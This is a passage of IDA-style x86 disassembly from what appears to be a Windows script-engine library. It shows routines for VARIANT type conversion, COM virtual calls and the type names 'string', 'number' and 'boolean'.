loc_69B651A1:				; CODE XREF: sub_69B65152+3Cj
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B65152	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B651A7	proc near		; CODE XREF: sub_69B64008+23p
					; sub_69B6453E+21p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+8]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, [eax+8]
		mov	ecx, esi
		call	sub_69B466CC
		test	edi, edi
		setnz	al
		pop	edi
		mov	dword ptr [esi], 1
		mov	[esi+8], al
		pop	esi
		retn	8
sub_69B651A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B651D1	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pvar		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		and	word ptr [ebp+pvar.anonymous_0], 0
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ebx
		push	edi
		push	0		; int
		push	0		; int
		lea	edx, [ebp+pvar]
		push	edx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	13h		; int
		push	ecx		; cElements
		push	eax		; strIn
		call	sub_69B30856
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B466CC
		test	ebx, ebx
		jl	short loc_69B65221
		mov	eax, dword ptr [ebp+pvar.anonymous_0+8]
		mov	[edi+8], eax
		mov	eax, dword ptr [ebp+pvar.anonymous_0+0Ch]
		mov	dword ptr [edi], 2
		mov	[edi+0Ch], eax


loc_69B65221:				; CODE XREF: sub_69B651D1+3Cj
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B651D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65227	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pvar		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		and	word ptr [ebp+pvar.anonymous_0], 0
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	ebx
		push	edi
		push	0		; int
		push	0		; int
		lea	edx, [ebp+pvar]
		push	edx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	1Eh		; int
		push	ecx		; cElements
		push	eax		; strIn
		call	sub_69B30856
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B466CC
		test	ebx, ebx
		jge	short loc_69B6526C
		call	sub_69B64094
		jmp	short loc_69B6526F
; ---------------------------------------------------------------------------


loc_69B6526C:				; CODE XREF: sub_69B65227+3Cj
		fld	qword ptr [ebp+pvar.anonymous_0+8]


loc_69B6526F:				; CODE XREF: sub_69B65227+43j
		fstp	qword ptr [edi+8]
		mov	dword ptr [edi], 3
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B65227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6527E	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

pdateOut	= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	ecx, [eax+8]
		mov	eax, [eax+0Ch]
		push	esi
		push	edi
		push	0		; int
		lea	edx, [ebp+pdateOut]
		push	edx		; pdateOut
		push	12h		; int
		push	ecx		; int
		push	eax		; int
		call	sub_69B2FF1E
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	esi, eax
		call	sub_69B466CC
		test	esi, esi
		jnz	short loc_69B652BC
		fld	[ebp+pdateOut]
		mov	dword ptr [edi], 4
		fstp	qword ptr [edi+8]


loc_69B652BC:				; CODE XREF: sub_69B6527E+30j
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B6527E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B652C2	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		push	ebx
		push	esi
		call	dword ptr [eax+3Ch]
		mov	esi, [esp+8+arg_4]
		mov	ebx, eax
		neg	ebx
		sbb	bl, bl
		mov	ecx, esi
		inc	bl
		call	sub_69B466CC
		test	bl, bl
		setz	al
		nop
		mov	dword ptr [esi], 1
		mov	[esi+8], al
		pop	esi
		pop	ebx
		retn	8
sub_69B652C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B652F7	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B65317
		mov	edx, [eax]
		push	0
		push	4
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		mov	esi, eax
		jmp	short loc_69B6531C
; ---------------------------------------------------------------------------


loc_69B65317:				; CODE XREF: sub_69B652F7+Fj
		mov	esi, offset off_69B1A5AC


loc_69B6531C:				; CODE XREF: sub_69B652F7+1Ej
		mov	ecx, [esp+4+arg_4]
		call	sub_69B466CC
		mov	ecx, [esp+4+arg_4]
		push	esi
		call	sub_69B48684
		pop	esi
		retn	8
sub_69B652F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65333	proc near		; CODE XREF: sub_69B4ADB4+B4p
					; sub_69B65541+33p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_69B642AB
		test	eax, eax
		jz	short loc_69B65362
		mov	eax, [ebp+arg_8]
		and	esi, 7
		lea	eax, [eax+esi*2]
		add	eax, esi
		mov	eax, dword_69B9A044[eax*4]
		jmp	short loc_69B65365
; ---------------------------------------------------------------------------


loc_69B65362:				; CODE XREF: sub_69B65333+19j
		or	eax, 0FFFFFFFFh


loc_69B65365:				; CODE XREF: sub_69B65333+2Dj
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B65333	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6536A	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		test	[ebp+arg_0], 20h
		jz	short loc_69B65379
		pop	ebp
		jmp	sub_69B6496E
; ---------------------------------------------------------------------------


loc_69B65379:				; CODE XREF: sub_69B6536A+7j
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ecx+8]
		mov	ecx, [ecx+0Ch]
		push	eax
		push	ecx
		call	sub_69B84A8E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		pop	ebp
		retn	10h
sub_69B6536A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B653A0	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B652F7
		push	[esp+arg_4]
		push	[esp+4+arg_4]
		call	sub_69B651D1
		retn	8
sub_69B653A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B653BD	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B652F7
		push	[esp+arg_4]
		push	[esp+4+arg_4]
		call	sub_69B65227
		retn	8
sub_69B653BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B653DA	proc near		; CODE XREF: sub_69B64008+15p
					; sub_69B64008+23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_69B652F7
		push	[esp+arg_4]
		push	[esp+4+arg_4]
		call	sub_69B6527E
		retn	8
sub_69B653DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B653F7	proc near		; CODE XREF: sub_69B65495+3p
					; sub_69B65615+17j ...
		push	esi
		mov	esi, ecx
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B653F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65410	proc near		; CODE XREF: sub_69B65539+3j
					; DATA XREF: .text:69B154F4o
		mov	eax, offset off_69B65418
		retn
sub_69B65410	endp

; ---------------------------------------------------------------------------
		align 4
off_69B65418	dd offset off_69B29C74	; DATA XREF: sub_69B65410o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B65420	proc near		; DATA XREF: .text:69B154B8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		cmp	eax, [ecx]
		jz	short loc_69B65438
		push	dword ptr [esi+4]
		push	ecx
		push	eax
		call	sub_69B64008


loc_69B65438:				; CODE XREF: sub_69B65420+Cj
		lea	eax, [esi-8]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	4
sub_69B65420	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65445	proc near		; CODE XREF: sub_69B655E3-501A0p
					; sub_69B6589E-50383p ...
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [esi], offset	off_69B19780
		mov	dword ptr [edi], offset	off_69B12BC0
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+1Ch]
		mov	[esi+0Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B65445	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame thunk


sub_69B6547B	proc near		; DATA XREF: .text:off_69B12D18o
					; .text:off_69B12E60o ...
		jmp	sub_69B2D67E
sub_69B6547B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65480	proc near		; DATA XREF: .text:69B12BE8o
					; .text:69B12CE0o ...
		sub	ecx, 8
		jmp	sub_69B6C84F
sub_69B65480	endp

; ---------------------------------------------------------------------------


loc_69B65488:				; DATA XREF: .text:69B12BCCo
		sub	ecx, 8
		jmp	short sub_69B65495
; ---------------------------------------------------------------------------


loc_69B6548D:				; DATA XREF: .text:69B12BDCo
		sub	ecx, 8
		jmp	sub_69B6C79F

; =============== S U B	R O U T	I N E =======================================



sub_69B65495	proc near		; CODE XREF: .text:69B6548Bj
					; DATA XREF: .text:69B1978Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B653F7
		test	[esp+4+arg_0], 1
		jz	short loc_69B654AA
		push	esi
		call	sub_69B1829F


loc_69B654AA:				; CODE XREF: sub_69B65495+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65495	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B654B0	proc near		; DATA XREF: .text:69B154CCo

arg_C		= dword	ptr  10h

		add	ecx, 8
		push	ecx
		mov	ecx, [esp+4+arg_C]
		call	sub_69B64999
		retn	10h
sub_69B654B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B654C0	proc near		; DATA XREF: .text:69B15510o
		mov	eax, [ecx+10h]
		cmp	eax, 1
		jz	short loc_69B654E6
		jle	short loc_69B654E0
		cmp	eax, 3
		jle	short loc_69B654DA
		cmp	eax, 4
		jnz	short loc_69B654E0
		mov	eax, dword_69B9B370
		retn
; ---------------------------------------------------------------------------


loc_69B654DA:				; CODE XREF: sub_69B654C0+Dj
		mov	eax, dword_69B9B378
		retn
; ---------------------------------------------------------------------------


loc_69B654E0:				; CODE XREF: sub_69B654C0+8j
					; sub_69B654C0+12j
		mov	eax, dword_69B9B380
		retn
; ---------------------------------------------------------------------------


loc_69B654E6:				; CODE XREF: sub_69B654C0+6j
		mov	eax, dword_69B9B368
		retn
sub_69B654C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B654EC	proc near		; DATA XREF: .text:69B15514o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [ecx+20h]
		push	1
		push	ecx
		mov	ecx, [esp+8+arg_0]
		push	0
		push	0
		push	1
		call	sub_69B3D2F2
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		push	0
		push	eax
		call	dword ptr [edx+7Ch]
		retn	8
sub_69B654EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65510	proc near		; DATA XREF: .text:69B154C4o
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B6C803
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		cmp	eax, 3
		mov	eax, edi
		jnz	short loc_69B6552E
		and	eax, 0FFFFFDFFh


loc_69B6552E:				; CODE XREF: sub_69B65510+17j
		pop	edi
		pop	esi
		retn
sub_69B65510	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65531	proc near		; DATA XREF: .text:69B15484o

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B655FA
sub_69B65531	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65539	proc near		; DATA XREF: .text:69B15494o
		sub	ecx, 8
		jmp	sub_69B65410
sub_69B65539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65541	proc near		; DATA XREF: .text:69B154D0o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_C]
		mov	esi, ecx
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		push	[ebp+arg_0]
		mov	eax, [ecx]
		mov	[ebp+var_C], 0
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [esi+8]
		call	sub_69B65333
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B65541	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6558A	proc near		; CODE XREF: sub_69B655DE+3j
					; DATA XREF: .text:69B1550Co
		push	0
		add	ecx, 20h
		push	ecx
		call	sub_69B17320
		retn
sub_69B6558A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65596	proc near		; DATA XREF: .text:69B154C8o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ecx+4]
		and	[ebp+var_10], 0
		cmp	eax, 2
		push	esi
		mov	[ebp+var_C], 0
		jnz	short loc_69B655B1
		xor	esi, esi
		jmp	short loc_69B655CF
; ---------------------------------------------------------------------------


loc_69B655B1:				; CODE XREF: sub_69B65596+15j
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		add	ecx, 8
		call	sub_69B64008
		cmp	[ebp+var_10], 1
		jz	short loc_69B655CB
		or	esi, 0FFFFFFFFh
		jmp	short loc_69B655CF
; ---------------------------------------------------------------------------


loc_69B655CB:				; CODE XREF: sub_69B65596+2Ej
		movzx	esi, [ebp+var_8]


loc_69B655CF:				; CODE XREF: sub_69B65596+19j
					; sub_69B65596+33j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B65596	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B655DE	proc near		; DATA XREF: .text:69B154ACo
		sub	ecx, 8
		jmp	short sub_69B6558A
sub_69B655DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B655E3	proc near		; CODE XREF: sub_69B65631+5p
					; sub_69B6564F+4p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B15440 SIZE 00000033 BYTES

		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B655F5
		mov	ecx, eax
		jmp	loc_69B15440
; ---------------------------------------------------------------------------


loc_69B655F5:				; CODE XREF: sub_69B655E3+9j
		xor	eax, eax
		retn	4
sub_69B655E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B655FA	proc near		; CODE XREF: sub_69B65531+3j
					; DATA XREF: .text:69B154E4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B65615
		test	[esp+4+arg_0], 1
		jz	short loc_69B6560F
		push	esi
		call	sub_69B1829F


loc_69B6560F:				; CODE XREF: sub_69B655FA+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B655FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65615	proc near		; CODE XREF: sub_69B655FA+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+10h]
		call	sub_69B466CC
		mov	ecx, esi
		pop	esi
		jmp	sub_69B653F7
sub_69B65615	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65631	proc near		; CODE XREF: sub_69B5EAA0+29p
					; sub_69B5F23C+79p ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		call	sub_69B655E3
		push	[esp+4+arg_0]
		mov	esi, eax
		lea	ecx, [esi+10h]
		call	sub_69B48684
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65631	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B6564F(int, double)

sub_69B6564F	proc near		; CODE XREF: sub_69B5F498+29Dp
					; sub_69B62D8D+8Ep

arg_0		= dword	ptr  4
arg_4		= qword	ptr  8

		push	[esp+arg_0]
		call	sub_69B655E3
		fld	[esp+arg_4]
		fstp	qword ptr [eax+18h]
		mov	dword ptr [eax+10h], 3
		retn	0Ch
sub_69B6564F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65669	proc near		; CODE XREF: sub_69B5F498:loc_69B5F4E2p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	sub_69B655E3
		mov	cl, [esp+arg_4]
		mov	dword ptr [eax+10h], 1
		mov	[eax+18h], cl
		retn	8
sub_69B65669	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65683	proc near		; CODE XREF: sub_69B65694+3j
					; DATA XREF: .text:69B155C4o
		mov	eax, offset off_69B6568C
		retn
sub_69B65683	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6568C	dd offset off_69B29C74	; DATA XREF: sub_69B65683o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B65694	proc near		; DATA XREF: .text:69B15564o
		sub	ecx, 8
		jmp	short sub_69B65683
sub_69B65694	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65699	proc near		; DATA XREF: .text:69B15594o
		mov	ecx, [ecx+8]
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_69B656A7
		mov	eax, [ecx]
		jmp	dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------

locret_69B656A7:			; CODE XREF: sub_69B65699+7j
		retn
sub_69B65699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B656A8	proc near		; DATA XREF: .text:69B1559Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	short loc_69B656CB
		push	[ebp+arg_C]
		mov	eax, [ecx]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		jmp	short loc_69B656E2
; ---------------------------------------------------------------------------


loc_69B656CB:				; CODE XREF: sub_69B656A8+Bj
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		push	0
		push	4
		call	dword ptr [eax+4Ch]
		mov	ecx, [ebp+arg_C]
		push	eax
		call	sub_69B48684
		push	1


loc_69B656E2:				; CODE XREF: sub_69B656A8+21j
		push	[ebp+arg_C]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [esi+0Ch]
		call	sub_69B64008
		pop	esi
		pop	ebp
		retn	10h
sub_69B656A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B656F5	proc near		; DATA XREF: .text:69B155A0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_20]
		push	ecx
		push	[ebp+arg_C]
		xor	eax, eax
		push	[ebp+arg_8]
		mov	[ebp+var_20], eax
		push	[ebp+arg_0]
		mov	[ebp+var_1C], al
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], al
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+54h]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_20]
		call	sub_69B65333
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	14h
sub_69B656F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65760	proc near		; CODE XREF: sub_69B67765+3j
					; DATA XREF: .text:69B155DCo ...
		push	0
		add	ecx, 10h
		push	ecx
		call	sub_69B17320
		retn
sub_69B65760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6576C	proc near		; DATA XREF: .text:69B15598o
					; .text:69B15670o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], 0
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	ecx, [ebp+var_10]
		call	sub_69B64008
		cmp	[ebp+var_10], 1
		jz	short loc_69B657AD
		or	esi, 0FFFFFFFFh
		jmp	short loc_69B657B1
; ---------------------------------------------------------------------------


loc_69B657AD:				; CODE XREF: sub_69B6576C+3Aj
		movzx	esi, [ebp+var_8]


loc_69B657B1:				; CODE XREF: sub_69B6576C+3Fj
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	0Ch
sub_69B6576C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B657C0	proc near		; DATA XREF: .text:69B155E4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		dec	eax
		push	edi
		mov	edi, [esp+8+arg_4]
		jz	short loc_69B657E4
		dec	eax
		dec	eax
		jz	short loc_69B657DD
		dec	eax
		dec	eax
		jnz	short loc_69B657FC
		mov	eax, offset off_69B65818
		jmp	short loc_69B657E9
; ---------------------------------------------------------------------------


loc_69B657DD:				; CODE XREF: sub_69B657C0+10j
		mov	eax, offset off_69B65828
		jmp	short loc_69B657E9
; ---------------------------------------------------------------------------


loc_69B657E4:				; CODE XREF: sub_69B657C0+Cj
		mov	eax, offset off_69B65838


loc_69B657E9:				; CODE XREF: sub_69B657C0+1Bj
					; sub_69B657C0+22j
		mov	edx, [edi]
		push	eax
		mov	eax, dword_69B9B308
		push	dword ptr [eax+8]
		mov	ecx, edi
		call	dword ptr [edx+0ACh]


loc_69B657FC:				; CODE XREF: sub_69B657C0+14j
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B6580D
		mov	eax, [ecx]
		push	edi
		push	[esp+0Ch+arg_0]
		call	dword ptr [eax+5Ch]


loc_69B6580D:				; CODE XREF: sub_69B657C0+41j
		pop	edi
		pop	esi
		retn	8
sub_69B657C0	endp

; ---------------------------------------------------------------------------
		align 8
off_69B65818	dd offset off_69B17D10	; DATA XREF: sub_69B657C0+16o
		align 10h
		dd 6
		dd offset aString_2	; "string"
off_69B65828	dd offset off_69B17D10	; DATA XREF: sub_69B657C0:loc_69B657DDo
		align 10h
		dd 6
		dd offset aNumber_2	; "number"
off_69B65838	dd offset off_69B17D10	; DATA XREF: sub_69B657C0:loc_69B657E4o
		align 10h
		dd 7
		dd offset aBoolean_0	; "boolean"
aString_2:				; DATA XREF: .text:69B65824o
		unicode	0, <string>,0
		align 4
aNumber_2:				; DATA XREF: .text:69B65834o
		unicode	0, <number>,0
		align 4
aBoolean_0:				; DATA XREF: .text:69B65844o
		unicode	0, <boolean>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B65878	proc near		; CODE XREF: sub_69B6DD7B+3j
					; DATA XREF: .text:69B155B4o ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B653F7
		test	[esp+4+arg_0], 1
		jz	short loc_69B65898
		push	esi
		call	sub_69B1829F


loc_69B65898:				; CODE XREF: sub_69B65878+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65878	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6589E	proc near		; CODE XREF: sub_69B5ECB6+6Ep
					; sub_69B6C7A5+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B15518 SIZE 0000002E BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B658B0
		mov	ecx, eax
		jmp	loc_69B15518
; ---------------------------------------------------------------------------


loc_69B658B0:				; CODE XREF: sub_69B6589E+9j
		xor	eax, eax
		retn	8
sub_69B6589E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B658B5	proc near		; CODE XREF: sub_69B65DC3+3j
					; .text:69B65DD6j
					; DATA XREF: ...
		mov	eax, offset off_69B658BC
		retn
sub_69B658B5	endp

; ---------------------------------------------------------------------------
		align 4
off_69B658BC	dd offset off_69B29710	; DATA XREF: sub_69B658B5o
		dd offset sub_69B65E0F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B658C4	proc near		; DATA XREF: .text:69B12DC8o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		test	byte ptr [ecx+48h], 2
		jz	short loc_69B658EC
		lea	eax, [ebp+arg_0]
		push	eax
		push	0
		push	dword ptr [ecx+4Ch]
		add	ecx, 34h
		call	sub_69B6D544
		push	[ebp+arg_0]
		push	0
		call	sub_69B6D2B6
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_69B658EC:				; CODE XREF: sub_69B658C4+7j
		pop	ebp
		jmp	sub_69B6D410
sub_69B658C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B658F2	proc near		; DATA XREF: .text:69B12EA8o

arg_0		= dword	ptr  4

		test	byte ptr [ecx+58h], 2
		jz	sub_69B66614
		mov	eax, [esp+arg_0]
		retn	4
sub_69B658F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65903	proc near		; CODE XREF: sub_69B66021+39p
					; sub_69B6618B+11Cp ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B65922
		mov	eax, [esi+30h]
		shr	eax, 3
		not	al
		test	al, 1
		jz	short loc_69B65922
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		or	dword ptr [esi+30h], 8


loc_69B65922:				; CODE XREF: sub_69B65903+8j
					; sub_69B65903+14j
		pop	esi
		retn
sub_69B65903	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65924	proc near		; DATA XREF: .text:69B12DB0o

arg_0		= dword	ptr  4
